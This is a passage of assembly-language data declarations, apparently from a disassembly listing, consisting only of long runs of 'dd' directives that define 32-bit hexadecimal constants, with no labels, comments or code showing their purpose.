		dd 2B1E7414h, 9A0EFB07h, 5896B230h, 121621D5h, 0E4E9C831h
		dd 0B71417DFh, 3D9ABC2Eh, 3ACDD60h, 0D60D43CBh,	0B41CD951h
		dd 0CB4CFE73h, 0C1EFD04Bh, 3A2846C5h, 0DE318C21h, 0CB017E0Ch
		dd 8018171h, 32EFCE9h, 0FD8858D6h, 4BD7F793h, 42F9ED8h
		dd 0E9C37046h, 0B07CEC3Eh, 0B910C668h, 0E1B70085h, 412C780h
		dd 10B80B5Ah, 0E98BB53Ah, 91FC0E20h, 5C151269h,	0ABD5CE67h
		dd 1646D404h, 0FC11C42Eh, 61AB4BF7h, 2B111778h,	126A0D99h
		dd 0A2D30120h, 0D468CA2Eh, 0DCCFECC1h, 3C98E49h, 0B04FB15Eh
		dd 2E3732E1h, 11F93687h
		dd 0CF2438B2h, 0CB9FC2ADh, 0FB14DC44h, 894A10F6h, 2659CEA4h
		dd 12EC57h, 4B1DA5F6h, 74BE9DAh, 16AACA12h, 89F61E10h
		dd 0B6E47E2Dh, 912F810Ah, 0D113B779h, 4723D8D5h, 0F15FDB01h
		dd 0B82BFEA9h, 0C7BDC598h, 2E6439EBh, 0BCD2AFF2h, 2CBA5A85h
		dd 0F567EC6Eh, 5CBBF24Bh, 0FE011361h, 0A2778E92h, 62B42C9Fh
		dd 41E60960h, 0B864E301h, 575F24FBh, 1EDE3CABh,	0EF890B77h
		dd 0D4C64405h, 5FC7EE37h, 0C0529EF2h, 595E6804h, 849E943Ch
		dd 0B007C00Dh, 0FA6801FBh, 0D240BA8h, 9D694D02h, 0EFA8553Ah
		dd 2142708h, 0D5693596h, 462F17E6h, 0D1D748BDh,	48F6C0EAh
		dd 147ED5Fh, 424D362h, 216801F4h, 27B66E64h, 34443F25h
		dd 4F52D50Dh, 0B100EC48h, 2C7E56F7h, 0E3389Bh, 0BC683A90h
		dd 0F4642AE9h, 0FBE60134h, 0D56FF4Eh, 62E521FBh, 39B32DA2h
		dd 0E8982880h, 0E5660225h, 16B6014Dh, 48F89CE9h, 4003C9E0h
		dd 0D14A253Bh, 9A120EE2h, 0DD1A6651h, 300E4C7Fh, 0F5CDBDBEh
		dd 0EB2C177Bh, 3A10BFCBh, 109EE5Bh, 0ACC77D50h,	46453312h
		dd 2AA837F8h, 90C4B96h,	54B1E94Bh, 660C97BBh, 96F1FA8h
		dd 1F587089h, 4C685D16h, 9F2D8CEBh, 0F6D70760h,	5A052844h
		dd 589FE803h, 578D2642h, 7DD2A1A6h, 3025A3D3h, 9DDD085Ah
		dd 0F031AB90h, 2B9C78F4h, 735CD427h, 0B5D0D05Fh, 0BD964869h
		dd 0FF842504h, 80FB6474h, 2521153Fh, 0F2317C12h, 9123DF3h
		dd 843FFDD0h, 2DCAF682h, 19F4236Bh, 80FBD7D0h, 0D90F380h
		dd 2897B281h, 5EEB5AB8h, 9DF48D34h, 2C8A21CBh, 5805A066h
		dd 11C53445h, 0D79B02ECh, 0BEC2BA4Fh, 0CFD2BB89h, 0F695F0Fh
		dd 0E1A06B20h, 0CB6E5E4Fh, 0EBA25F55h, 535F15D8h, 0C96FE910h
		dd 0C165226h, 0FED17C59h, 31A4AE5Eh, 77D74E57h,	0BBEFB251h
		dd 684130FDh, 0B9074AB3h, 414FCBA1h, 55C3BE22h,	7E895F83h
		dd 4927D924h, 6F548068h, 2D4A5832h, 0EAD8C222h,	4CD377AFh
		dd 971475AFh, 0E10993B0h, 0FB14E2E9h, 1DD2529h,	49173A7Fh
		dd 0C08C8B30h, 773DBF22h, 5E9720DBh, 2B89C77h, 37E93FD5h
		dd 244153EAh, 45D13055h, 96F90125h, 0C65E30E3h,	6CD3682Ch
		dd 6002BDBBh, 0E07F3179h, 0B70FF39h, 21E939DAh,	0AF6ED89h
		dd 7DEF8150h, 65283958h, 0A72AFAD8h, 5A5970CBh,	9E1103D7h
		dd 0F3CFEF30h, 1E27EA7Fh, 991EC85Fh, 7D503B41h,	3D03097Fh
		dd 20F7742Bh, 1F36EE0Dh, 0C536BDCh, 0E98522F6h,	8CAF95AEh
		dd 0BA414964h, 125DF820h, 0EC7E0E1Dh, 0C3C05B2Ah, 0B7514A68h
		dd 6676269Ah, 0FBE9C743h, 0D30F3BCBh, 0DD1960F8h, 58CC2EF2h
		dd 76A0B14Eh, 208F4A95h, 482368BCh, 2733E69Dh, 1192DD8Eh
		dd 797D0F4Ah, 102C9151h, 5D13ADA5h, 53D8D231h, 49095175h
		dd 0EEF6F885h, 0FCD6DAB2h, 42690275h, 0C24A27A5h, 0E2374855h
		dd 0C631808Dh, 899DEFB8h, 5A40D46Fh, 167591ABh,	28D4B523h
		dd 44AFB113h, 1618BD06h, 1EEF7E01h, 0BA20E65Bh,	41DA5A6Eh
		dd 0D85E462Ch, 0F4C06107h, 9ABCBD96h, 0B8AC01D3h, 3A381A02h
		dd 1D4C8B55h, 55133AB9h, 3E0203E9h, 40EBED12h, 3E4BECA7h
		dd 78D05F12h, 835B1D07h, 0DF79C2E8h, 0B95106C0h, 1A3C53BBh
		dd 5D9F77Eh, 0BAC93F80h, 0ECB8A111h, 0A8F4C100h, 64E99E3Eh
		dd 27B1BAABh, 45ECEE89h, 0AC6A9421h, 0F70F4272h, 0B15BBD03h
		dd 0F56031CEh, 35997BEh, 0F5E78F4Fh, 81FB00C2h,	9332BEC3h
		dd 4A05FA33h, 0B56CE8F4h, 0EF5212BFh, 0B55DE2DCh, 6841095Bh
		dd 0DA3D0B51h, 59BDCD20h, 98AE05h, 2901E02Dh, 0FD30E9C8h
		dd 0F921F7C4h, 0BC17A5Fh, 10626806h, 0F15320FEh, 0BD007215h
		dd 422D491Ah, 9C1A4374h, 1F87DF88h, 272A9425h, 0E90595FBh
		dd 69D4E5D5h, 0E0EA1284h, 0EA40B11Dh, 4DD500F7h, 2FE7E581h
		dd 0AAFC3A01h, 2ECFEC59h, 6805F009h, 4C404B22h,	0F95816BBh
		dd 0DA292533h, 0DF24C4DBh, 0F28F030Bh, 896BA19Bh, 92C5F415h
		dd 7F785941h, 8A0098D0h, 876AC60Fh, 0E632E9DEh,	515BA2C2h
		dd 8AC9AD11h, 0BB85FF6Ch, 841357F6h, 5BDAB7C9h,	20C2EBC0h
		dd 838CD025h, 0A033E912h, 0C0FAFEF4h, 8005E201h, 0DAF60BCAh
		dd 17DDF2D4h, 0CC6FF0E9h, 0D058FB56h, 2180A5F1h, 4F20D5BFh
		dd 36FC8197h, 6BFB4854h, 22FAC800h, 2D59CD31h, 1421BF9h
		dd 11B81C7Fh, 90917462h, 0E7EEE02h, 0AEEEC013h,	23380535h
		dd 0D1E456E9h, 840105BCh, 780A6875h, 6A143892h,	97A65084h
		dd 0F703A843h, 136E2EBFh, 39E1D962h, 0FC880675h, 0C127DAB4h
		dd 55DEF7CEh, 0C300A309h, 6C826B3Ah, 2D8383B7h,	1988A931h
		dd 0CBAFB23Bh, 51717454h, 2E5BED53h, 3EF183E8h,	0D7BC05CEh
		dd 6EF074B1h, 800C2E2h,	25027D2Fh, 46955C01h, 4C0C82D9h
		dd 130684ABh, 0F374685Ah, 6E057852h, 5E223040h,	0A7429BEDh
		dd 52DC158h, 1F45B65Ch,	17C1BCA8h, 0F55DED45h, 0D6843E87h
		dd 5B138BBEh, 59540C71h, 0C3D0B22Eh, 3F87DE9h, 5B79C7E5h
		dd 25DA753Fh, 141B670h,	404A5B30h, 0B22568AAh, 36BE9857h
		dd 0B1DF653h, 97ACCEB8h, 41D609DDh, 0BD3A0545h,	4283B4A2h
		dd 7633D205h, 92072001h, 0C2F6BDBCh, 58C3B754h,	0EDF6104Bh
		dd 1328502Ch, 0E096D345h, 8A37E7C9h, 9D4E7EF4h,	5EB5A64h
		dd 0AAE0468Fh, 63B10E8Ch, 2C77279Fh, 92A9C9C1h,	89BB5F20h
		dd 6A6DF014h, 0A5ED9DC0h, 9557D677h, 0CA5FA3C9h, 0BF4EB571h
		dd 61C85CADh, 2B7BE468h, 0C88024CDh, 6243298Eh,	6A00558h
		dd 0E349CBE9h, 87FD2896h, 0F93ED70Ch, 10450C73h, 75E96Ch
		dd 24B871F2h, 0B7E8315Fh, 0C01A939h, 59E502BEh,	0DEF77BD4h
		dd 27F3E675h, 20FEEEE9h, 714DBA81h, 917B3A80h, 10E6644Dh
		dd 0BD6C6368h, 20CBA210h, 7EBD41BAh, 205DAF57h,	5F0EB821h
		dd 29677AAFh, 3EC6DBAh,	2DC954E6h, 89D5D9D9h, 0DEA90F81h
		dd 0B8DD69F2h, 2572278Ah, 17FC177Dh, 0A03EF0Ch,	81E701D1h
		dd 1F1C53CFh, 0C6A06069h, 76895712h, 0A7A46E12h, 63A0CEBh
		dd 92227291h, 0D0DF1A04h, 0F5D0E8E9h, 182BCA81h, 0C6C857Ch
		dd 1A097E13h, 0F073E96Ah, 0C1801712h, 0BA3FC401h, 3E683602h
		dd 647CD426h, 0F70FE17Bh, 0FFB2EEBCh, 0BA06AC48h, 8C56A978h
		dd 0D0175501h, 5E3C11Fh, 0D107068Fh, 82F41393h,	6CDF51EFh
		dd 88960EA4h, 0CF605BD9h, 62B65259h, 346466DEh,	3457B060h
		dd 0AE2C0B84h, 0DF03C630h, 931CC88Ch, 0F52D55B8h, 0A8CA051Bh
		dd 7D028A08h, 78061523h, 5139853h, 6F7A0F35h, 0E9A8C841h
		dd 87C5452Ah, 88DFC609h, 53EB84F4h, 0BBAF20EBh,	1B60BA1Ch
		dd 0DB0E1054h, 304C9036h, 194295Dh, 1EC051EEh, 715977F3h
		dd 0B5CD0581h, 0AA7E3528h, 44EF38C0h, 0C796319h, 21C20331h
		dd 0EB20D644h, 0E539C5Eh, 0E896B76h, 6E0615E1h,	9F0EE31Fh
		dd 455CAFA5h, 0CC88ADFAh, 72040775h, 0D2DF214Ah, 8EA2ABBCh
		dd 490F2DFDh, 9DEE507Ch, 0E912D49Eh, 6BA9BEACh,	69809F27h
		dd 6972C5BAh, 4381194Bh, 0B9000CA6h, 6D2F4FF4h,	0B7AAF855h
		dd 68853279h, 4F3780Eh,	1CB5090Eh, 2713AA53h, 0ECE94981h
		dd 0EA7ED23Eh, 80199E3h, 1380E281h, 0AA825DDEh,	154C43A2h
		dd 6805105Eh, 2D272CA1h, 26F06727h, 2450EA05h, 1F32823h
		dd 22616997h, 0E8D22A21h, 0B8CD63D1h, 0BD0A5CFDh, 33682D01h
		dd 0C6BA3C0Ch, 2F92DE03h, 657C5E66h, 0A97FC28Eh, 21390959h
		dd 0D1EC8092h, 95DCE4CCh, 0FDE4A170h, 8C1016C9h, 98282424h
		dd 9F8A73E0h, 0B8E64064h
		dd 12867E93h, 96D3FEE9h, 1D1F28D4h, 666F13D0h, 0DCC1AC6h
		dd 56160BF5h, 3652DE6h,	0F8A072A6h, 0E0693355h,	98A60645h
		dd 421244F0h, 83886577h, 0BCCE4BD4h, 3A0BD37Dh,	52A821B8h
		dd 612B1CB2h, 2B1598C8h, 8D7FF39Dh, 805E4058h, 5448B169h
		dd 743C05B6h, 0FC00BB2h, 0B06D412Eh, 0EAB02FCEh, 64EF31D6h
		dd 21979E2Bh, 5A0B5970h, 0C1480D58h, 0D04C08E8h, 410AED42h
		dd 20AF61E9h, 76AE13BCh, 0EDC1E441h, 73F5203h, 0F310A766h
		dd 0B57F8D63h, 0D0321602h, 48D1F74Dh, 0B5FA28FDh, 67976466h
		dd 3AA7A084h, 0E44EDF2Ah, 0FA40A2CCh, 69F94888h, 30AD1818h
		dd 560ED2F7h, 564E39BEh, 9D6E681Eh, 2586D5AFh, 504F0666h
		dd 0E52EEAD9h, 0DEC8EC2h, 720A8B76h, 44F107D9h,	0FE945D83h
		dd 5B3280F8h, 5828360Ah, 0C5280635h, 9FBEF05h, 79B9728Ch
		dd 0B92E0841h, 0B4F02A38h, 0D6B48E5Eh, 154EB44Ah, 89FED5Eh
		dd 31061FCEh, 62FC5FF9h, 0D64F1B6Ah, 2528950Ah,	7E8CEA20h
		dd 0E8C32557h, 0E6FE3375h, 505402D8h, 74E94575h, 38215BF4h
		dd 7C89979Ah, 524A0785h, 0CB9BB231h, 6852168Bh,	90290CD4h
		dd 0D2FC4BA4h, 0FE4829A8h, 254A5244h, 5E8DE15Fh, 86C6D7CEh
		dd 0DE62349Ch, 20905A5Bh, 0C1BD08BAh, 0A26CB2D9h, 579B6882h
		dd 0DF81E759h, 4B71843Dh, 12438664h, 0B426C6E9h, 244054D4h
		dd 136F7BBAh, 93165BFh,	0C0054A8Ch, 6AAD58DDh, 0CB96E005h
		dd 0D82E0CEDh, 8138E94Fh, 59BD7092h, 0FA5C45F4h, 0E26A5F3Dh
		dd 0AFE274Dh, 4E1C4CB7h, 8331EBC9h, 0A2226267h,	70D65E89h
		dd 887B9EB5h, 9F829098h, 15272064h, 0A911D5D9h,	0D4C23F33h
		dd 0CB45FF5Ch, 789EEB01h, 186879C7h, 0DB80C42Dh, 9205FCB9h
		dd 0CE31F01Fh, 82C07808h, 0D994EA11h, 0DCD98957h, 0E923CF22h
		dd 0F3B1DDEh, 6C9CACE8h, 658BA5A6h, 971857A5h, 5B95F3CEh
		dd 0A1A7BDC7h, 0F7F9E0E2h, 44F78061h, 84DE343Eh, 0EE5B800h
		dd 97EE305Bh, 52E95505h, 0B450DD40h, 0F5D4F60Eh, 443A76C9h
		dd 0A8108239h, 86C6A4EBh, 13E81DD4h, 0AF315289h, 0AC10B623h
		dd 59EB280Fh, 559FC856h, 0BEB14C53h, 0C231B32Ah, 6645D2E9h
		dd 26459B67h, 5A9D003Bh, 11BB03ADh, 712E5F71h, 0E10BDC29h
		dd 3FD0C73Ch, 75E7C718h, 541210C6h, 0A945117Fh,	0F8520971h
		dd 1E1E4CA8h, 0F743944Fh, 0EF79B307h, 6BCB6157h, 13A73825h
		dd 0F2D73E68h, 454942A0h, 0EDF55E29h, 4BFCC1E2h, 0E9D82E32h
		dd 3BE698B5h, 1C68013Ch, 91052F08h, 0B04E007Fh,	1AEC4F8h
		dd 0CD70F241h, 31E212D1h, 6A71B57h, 90680D0Bh, 2CB6663Fh
		dd 1CEE586Ah, 0B8D816E9h, 1D2CC477h, 0E8A599BAh, 1CBEAACCh
		dd 32F92B40h, 1C573F21h, 0FFCF4016h, 7CE0CA24h,	142DF480h
		dd 0E307EFC0h, 881C4E27h, 0F930829Dh, 661EF76Ch, 0D3E8F7BEh
		dd 604AFDABh, 396853C1h, 0D6430F25h, 0ECA65BE7h, 0AFCB4B3Bh
		dd 3F801D25h, 0EA80B4B2h, 0E1F6273Ch, 0D128F50Ah, 0D9EC3D5Dh
		dd 7DC12C80h, 0E5DC909h, 51C3018Ah, 41C2C6B5h, 0E62BEE39h
		dd 0F2841A03h, 0B1BD0F5h, 736D5A4Dh, 0BBE92368h, 0EB236E65h
		dd 0AC1747B2h, 9E9AAFF5h, 0B72DFB4Ah, 6D41D12Ah, 0BD800557h
		dd 113812Dh, 9057267h, 384C6502h, 0E956C147h, 377FD0C1h
		dd 3C0C92E9h, 2CD26D7Dh, 8A6F09B4h, 747754A6h, 33B54A34h
		dd 0B441D0BEh, 73760331h, 3DE4F600h, 0F00938FDh, 6C350E5Eh
		dd 2D85F40Eh, 0ABCD2101h, 555C027Bh, 0E340DEF9h, 0B467223Fh
		dd 68FB8006h, 7C012A9Dh, 0A5308482h, 16DE530Eh,	0D4C5203Eh
		dd 4358AA6Ah, 7F3741E1h, 0EADD84h, 26040519h, 3AC42778h
		dd 7488ADB3h, 0F3F24AB2h, 0A18819E1h, 8031C31Ch, 0FB5A0D97h
		dd 0B0AFB0C1h, 0D5CB982Ah, 27ABFB4Fh, 76B7128h,	47AC2A55h
		dd 5C350973h, 40513B5h,	4ACDEED7h, 9A53C5E4h, 6852052Bh
		dd 81A86D4Fh, 3EE620BFh, 0E54AB5A3h, 0EE912A20h, 80041471h
		dd 0B7653AA1h, 0EF2EC1FEh, 6902B008h, 0D8F5DEA3h, 0CEF5A0C6h
		dd 0F8E2558h, 0CF40C750h, 756A0E2Dh, 8CA03EF7h,	21BC133Ch
		dd 0FA58C12Fh, 0B04690Ch, 0B117F976h, 7FE2D5A4h, 25762503h
		dd 660CAF20h, 7807C96h,	7D95004Ah, 5F5EF781h, 96C327A4h
		dd 0FADA9E09h, 0C8D50B31h, 0E6A0E0C7h, 0F725B8EFh, 1904853Dh
		dd 0AEBBE4C5h, 0A448AF80h, 0AC015A02h, 5C411680h, 6E83B55Eh
		dd 0B05F6FF8h, 5B9E1DD3h, 1026BC0Dh, 0BA50C8D6h, 9CFB138Eh
		dd 0B5A3FCDDh, 16EE3912h, 8DD8FB67h, 0E22BF53h,	0B8077CD9h
		dd 18B13090h, 1DD058F7h, 421A4905h, 3A2C102h, 0FBD23A43h
		dd 7DE26AF7h, 5B04194Eh, 58270D7Bh, 0F2DBC082h,	652204F0h
		dd 82DDF71Eh, 766A5C50h, 8956EFF7h, 3CD02FE9h, 0F802FEBFh
		dd 71B9CB8Ch, 3DB6D631h, 0F589F3C1h, 0E082505Ah, 3507BC98h
		dd 51AC7540h, 0ECC75889h, 84AB844Bh, 2E4BEAA4h,	7EB89C6Bh
		dd 94F50508h, 0E7C017E9h, 5F29099Dh, 20DA9C24h,	2D02D5F1h
		dd 0E05ABCEDh, 425ED401h, 8309865Dh, 0D934F3D1h, 0A16A1A54h
		dd 73D16430h, 75219B26h, 0D198EA09h, 1507C9BDh,	130C422Dh
		dd 9308D9D6h, 20BA2806h, 0E7B1A511h, 0D8AD2A13h, 9920DAD0h
		dd 0B45E5932h, 0F8E575B4h, 0CBA9E0A7h, 3DB12619h, 72F20095h
		dd 527A1806h, 97485F79h, 0FEE90921h, 0CB9DF658h, 79FB80D7h
		dd 97260365h, 19755780h, 0E2B70A7Ch, 21D0BFh, 69288FF6h
		dd 0D3FDE99Eh, 9F29A1C5h, 39C3C9FAh, 3C4526DDh,	6DB9CFBFh
		dd 7E666809h, 0D00955E6h, 0FC4E1070h, 5942C91Dh, 4DF9AB40h
		dd 8102A07Fh, 671711E1h, 0D72E078h, 7C206205h, 934885BCh
		dd 9A5C6894h, 0BE257B0Ah, 8F5E91D3h, 82A7A23Bh,	0C6E307E9h
		dd 0CB6EC204h, 0E3F8505Ch, 70276B90h, 394674ECh, 0A4DE4CA7h
		dd 0CC5558E2h, 0BDB9049Dh, 0A846932Eh, 43A86EB2h, 0C1401D39h
		dd 9389DCB7h, 9AF601C7h, 49193C0Eh, 57EA206Eh, 7EF76194h
		dd 54CB04DBh, 8063A14Ch, 0AD1CB5B2h, 58216F2Fh,	23EF043Ch
		dd 0C03ED354h, 0D0C0D777h, 32E92D09h, 0E030D53Ah, 0D78A1028h
		dd 45F3B309h, 0D867AA35h, 0D4F9144Bh, 294E1B13h, 1168D0B0h
		dd 0C9251248h, 0AD560555h, 0E85099BAh, 27CEDAA9h, 422DEBD6h
		dd 0C3D984BAh, 12A38BBBh, 7845AFAEh, 0A50BEDC1h, 0B75DCBC5h
		dd 0B9530990h, 0CA2A115h, 28424970h, 808DEF29h,	97895D08h
		dd 0EA5C1269h, 82A8509h, 0A4A22F87h, 0E2E7D61Bh, 520562CAh
		dd 30130DB2h, 0A00822E1h, 532D3874h, 940DEB77h,	0D8E97A3Eh
		dd 8DC1EFD7h, 163FF3E9h, 0BFB475A3h, 36693EB6h,	57CE3A57h
		dd 0E0A402C5h, 3CC47312h, 3F6A9DEBh, 6158B6A6h,	0BA7C7E12h
		dd 0DC4B81Ah, 3A1A08h, 385DBAC9h, 9482641h, 6896507Fh
		dd 689D782h, 0F10915F3h, 0B11877DBh, 5C9DD8DEh,	0E485C9D0h
		dd 3031EEB9h, 283B5E84h, 429FBF62h, 0E9EC77AEh,	6A4B314Ah
		dd 57B9C2A1h, 0A714EF69h, 0F29DFA99h, 0AB976430h, 7256EBBFh
		dd 0C55343EFh, 729A2A62h, 0ED50B2F8h, 0D9F4E908h, 0A88BEFB4h
		dd 33789C0h, 2C435525h,	0AF00950h, 81B84D4Ah, 0DD4EAFBBh
		dd 76056012h, 0D12E77Eh, 16B3DE01h, 0B16FE9C2h,	0B091E52h
		dd 14DDD31h, 699625AEh,	1C3524C4h, 6F204890h, 8D17B35Ch
		dd 2C59F981h, 4D87A8Eh,	6DC41C9Fh, 3C1DDA73h, 0FD915416h
		dd 0B32BDC97h, 2E0517F0h, 0C20191A3h, 8DC6AA9h,	0B91E2051h
		dd 3540BCA8h, 9865A0Ah,	7C25A1BAh, 0B6E984C2h, 57D8AF88h
		dd 403A41D6h, 26670DC3h
		dd 58BD285Ah, 9347B79h,	0FB01FFA7h, 0E9384857h,	40A8AAE0h
		dd 65A29B8h, 0D9F75657h, 8114A6C1h, 27CB78F1h, 0BAA07F74h
		dd 10E13C03h, 93BF58DFh, 0A14042D9h, 718DCEA3h,	0CD9625E9h
		dd 73B20C20h, 12623F4h,	0D80ADED0h, 0E91C0A2Dh,	83D0BD57h
		dd 5E2F4E1Dh, 778FE0FCh, 0D5E9C14Eh, 0F4AC1684h, 9841C84Ch
		dd 26644360h, 0BBAB353h, 71B00895h, 391278BAh, 9301102Fh
		dd 22321F2Bh, 2673F838h, 103470B0h, 9D097A49h, 9CC9463h
		dd 14C80506h, 518F6202h, 1371FEC4h, 9313BF04h, 8569E904h
		dd 54132CBCh, 4E68BEDDh, 4ADDBC50h, 213B0864h, 9400D113h
		dd 8F3598F7h, 0E9029D12h, 0FA086C4Ah, 9E7EE10Ah, 0D62B752Dh
		dd 3DC2D668h, 28242C7Ch, 5A122BD0h, 0F2E24B1Dh,	0B551175Dh
		dd 48C7EBC4h, 78C1FEB5h, 0F32B44ABh, 4E899FDBh,	0B1CC7EBFh
		dd 233BAA8h, 4209775Ah,	81D7A6A9h, 1B28B217h, 4101CF30h
		dd 16A16BAEh, 0B29EC47Eh, 0C015107Dh, 4DE78009h, 69B202F5h
		dd 2DC55FC9h, 2426DE08h, 0D9F11487h, 0D525B0Bh,	969E1B02h
		dd 1C223DCh, 80E94CDAh,	82F061B2h, 690356D6h, 1E6D1E5Fh
		dd 2F1BB8AEh, 87048274h, 16C0254Ah, 2E5D1CC1h, 13630213h
		dd 0CCCABAB4h, 0C517DB52h, 12C5CC4Bh, 672FA794h, 295B2D87h
		dd 5720A620h, 0EAB72770h, 2C3C8375h, 553392E2h,	1E20BA6Ch
		dd 68570585h, 0C5910EF1h, 0EA8C94C6h, 5A19219Bh, 20B2FFACh
		dd 0C74127C3h, 0F1F60560h, 71650CA7h, 0A75176A7h, 406975F9h
		dd 0E1BF0D7Fh, 0F452B83Bh, 0D09945AFh, 3BF5CDC4h, 92F8688Dh
		dd 0BA0ACA42h, 0D1890A0Ah, 45BF1231h, 0D0D3F78Fh, 0E7E3EBBBh
		dd 244E269h, 13CB3F7h, 97EF6866h, 782359E0h, 0EE8AB9F0h
		dd 0D0D7A37Fh, 182D966Ah, 4AB3AD6Bh, 6BD7D3AAh,	3918F0B1h
		dd 20841BFh, 0BF0054E4h, 5DEF0DF4h, 125F6E1Bh, 3640180h
		dd 60337462h, 533C072Dh, 0C509896Dh, 0CE650258h, 452B5918h
		dd 477EC54h, 3B030D2Dh,	0FEE22AC2h, 0BD680197h,	447AE442h
		dd 0F39FBAD1h, 0BE4E90Bh, 0A52CC168h, 62CB93FCh, 0F4BECCD7h
		dd 8C034A42h, 26281BEh,	76070191h, 47E86282h, 0A2E25807h
		dd 78D17DF4h, 0FB65D402h, 0C4E07742h, 1298FD2Dh, 0C381AF01h
		dd 1730603Eh, 771B0C84h, 22E5BBF2h, 0D6020805h,	82C107CDh
		dd 7F6A47EBh, 0EB0D67C5h, 0DAD774D2h, 4E324698h, 0CD75AF5Ah
		dd 8792F4AAh, 64AD134h,	77C80280h, 0BC015CEDh, 7AA9157Dh
		dd 0E14BF943h, 68A634F4h, 773F6431h, 0CC7FBEC4h, 3A43E1CEh
		dd 9FE7522Eh, 0C7AD306h, 673938EBh, 61DA5D4h, 407B2237h
		dd 1C8A010Ch, 0C7E9618Fh, 7E55652Bh, 4C4BFF89h,	8CB0D416h
		dd 8C4A564Dh, 0F4A8A44h, 478F5301h, 0ADB96E20h,	2589E9C6h
		dd 0AD75569Dh, 18C1BE9Eh, 1CF2841h, 9210A944h, 0FC5F2508h
		dd 39F56092h, 32C14A8Fh, 0B570C60Fh, 2C788230h,	17552809h
		dd 218AAE32h, 0AA10C502h, 9542A3E5h, 9525EC55h,	0A0BCDCE5h
		dd 34B4127Bh, 5507EF28h, 67CEC380h, 0C563F6EDh,	9D0C0D05h
		dd 0D610DD28h, 626062C1h, 0BB0512BAh, 181C398h,	287C5FEDh
		dd 6FCDE976h, 9CBD0F00h, 1C433D34h, 0C136E5BFh,	0E9EF01D7h
		dd 2592386Dh, 5565021h,	0BB4F85C2h, 26D7BCE6h, 9D134E89h
		dd 4D762FBDh, 0D94E82A9h, 0E43AF005h, 24AE1DBh,	64FFCA1Eh
		dd 1B60564Fh, 0DA2710F7h, 2DEAD67Fh, 0F5A97CE3h, 0E9D9D02Ch
		dd 7C4B1C25h, 9732504Bh, 6982FF9Eh, 4459BB51h, 580881B0h
		dd 8997326Bh, 0DFB4755h, 0C088525Eh, 0F2B0012Bh, 1D0CF56Eh
		dd 207CF2AFh, 0C2908C1Fh, 5E3FCE3Ah, 96EE4646h,	0C1215A88h
		dd 2B2C5069h, 296A3630h, 0FB534B8Ch, 0BD0CDB05h, 825527BFh
		dd 4F17DA6h, 6B03E89Ch,	0CBCF8163h, 0E480D50Ah,	947A5F7h
		dd 0D78764CDh, 0E013B15Eh, 0AE4EF0A8h, 4FE9C52Ch, 0BF3DC05Dh
		dd 0C22D02B5h, 58A8050h, 585E3E4Ah, 0AB279D37h,	52C15A56h
		dd 0CCF44AB6h, 88EA96E1h, 0AD3FC317h, 0B5965551h, 0D17B9BA2h
		dd 931657A5h, 402FE084h, 829E9ACh, 0ADBACE93h, 12ED0162h
		dd 103073Bh, 44FCDD70h,	0C78E2C6Fh, 17499F8Ah, 61F6C02Fh
		dd 0D09F9975h, 6D3C01EEh, 0D631B9CBh, 8B55DEE9h, 0AE45FF3Bh
		dd 9B62E986h, 5EF530D1h, 0DC7B0758h, 12297340h,	1338022Dh
		dd 0FD5AEFE7h, 0A530C12Ah, 0B30D06Ah, 1550A830h, 640579Ah
		dd 58F40E2Dh, 8EA57136h, 0F02384E8h, 524B56C0h,	73F470F8h
		dd 0E8F9A96h, 6D77500Bh, 40F12F58h, 1203A5BBh, 2B44FF76h
		dd 466E3A24h, 4F56AE30h, 2B409591h, 114A4E0Eh, 2F4169BBh
		dd 0FE9789F2h, 0AE2A73DDh, 9561F231h, 0D6B9F113h, 0AB493491h
		dd 60A64412h, 79571D4Bh, 0EF810B99h, 935A115Dh,	5E5A03D2h
		dd 26849FB9h, 70970794h, 0C9DF43F7h, 0E3252530h, 128EE504h
		dd 0F15CEBAh, 0EA69E005h, 5816C192h, 774F76E2h,	496C4CBh
		dd 91AAC168h, 6E1ED908h, 0F6E2DD5Dh, 0AC234A35h, 94E2B124h
		dd 0CA450505h, 0DA27915Ah, 0B106A043h, 0FEA5390Bh, 3F3A85A0h
		dd 0BB5174E7h, 0E28000F6h, 0A9E5310h, 0F62D661Dh, 815A9F09h
		dd 36E93BF2h, 0DE5E687Ch, 70A3B252h, 31B95FCBh,	56F6FEF7h
		dd 97E868E4h, 0E000FF4Fh, 0AD83D48h, 8F50935h, 990B365Ah
		dd 835033C0h, 0A6B786A3h, 565C4D8Ah, 22A52F22h,	7FAFAA30h
		dd 6EE5204Ch, 1B02820h,	55472533h, 90B2B457h, 0B4D34A1Ah
		dd 41B5CA04h, 157531B2h, 0E9C23723h, 10A076B7h,	0C4FE93B4h
		dd 0C34B2EF8h, 0FBA425ABh, 0A614AC29h, 989372A2h, 126136A7h
		dd 0D1D3F7E7h, 3E6C334h, 0E97586EFh, 3F4F3974h,	825B13A8h
		dd 2977BE4Eh, 0F2232243h, 41220AA8h, 3E0FBD68h,	62BA7420h
		dd 0C7C62CE9h, 4D2E427Ah, 0DA010441h, 4BA50C1h,	0D45C0FAh
		dd 14325C99h, 4004100Bh, 185F442h, 0FE2D9150h, 3E137254h
		dd 0B28485C1h, 6DE1312Bh, 2067FD4Bh, 82BDE383h,	5DDD297Eh
		dd 0D9DFB712h, 936B424Bh, 77042909h, 579885C7h,	98EE8129h
		dd 3D1024B4h, 0E4410D10h, 0B9B06B18h, 12681357h, 0C1A2AC66h
		dd 52DB3175h, 0BF54F30h, 39A13F76h, 6BB5C080h, 503F617Bh
		dd 414E89B8h, 65E08007h, 0C1081738h, 0D415106Ch, 0E1C8434Dh
		dd 27A96A58h, 1DB4FEFDh, 0E31EBCFEh, 512FFCD0h,	0F49CB5D6h
		dd 48043A3Dh, 9EAB3FBEh, 5112FCEAh, 717439B8h, 0C2EFF15Ah
		dd 44D97DD8h, 0F8B4E947h, 258D9DEEh, 16365EE4h,	83C5E1E9h
		dd 8F0B2CFBh, 40F2390Bh, 0DFF30B09h, 1075F85h, 9EF7FCF3h
		dd 6546F179h, 7F83B01h,	0C721EBF4h, 0BB05A374h,	0DF9C4985h
		dd 0D3356B85h, 760860F6h, 0AB050092h, 294F9A7Ah, 25AD5CB5h
		dd 5DFD91FDh, 8870CC31h, 20E4B829h, 0F3908448h,	4FA9D29Dh
		dd 0A431AE5Ah, 0B23E67E5h, 0B9E3D63Dh, 49CCBC5Eh, 5DBE1CCBh
		dd 0F73B7C40h, 0FC464ED6h, 0AFA1B5B5h, 0E740DFEBh, 4188EDFDh
		dd 2A066908h, 6DE6D333h, 0BF135699h, 99E39E67h,	0BA1004A0h
		dd 0BA9C5F32h, 2D0F0500h, 0EDC1763Ah, 403C666Ch, 1E34B718h
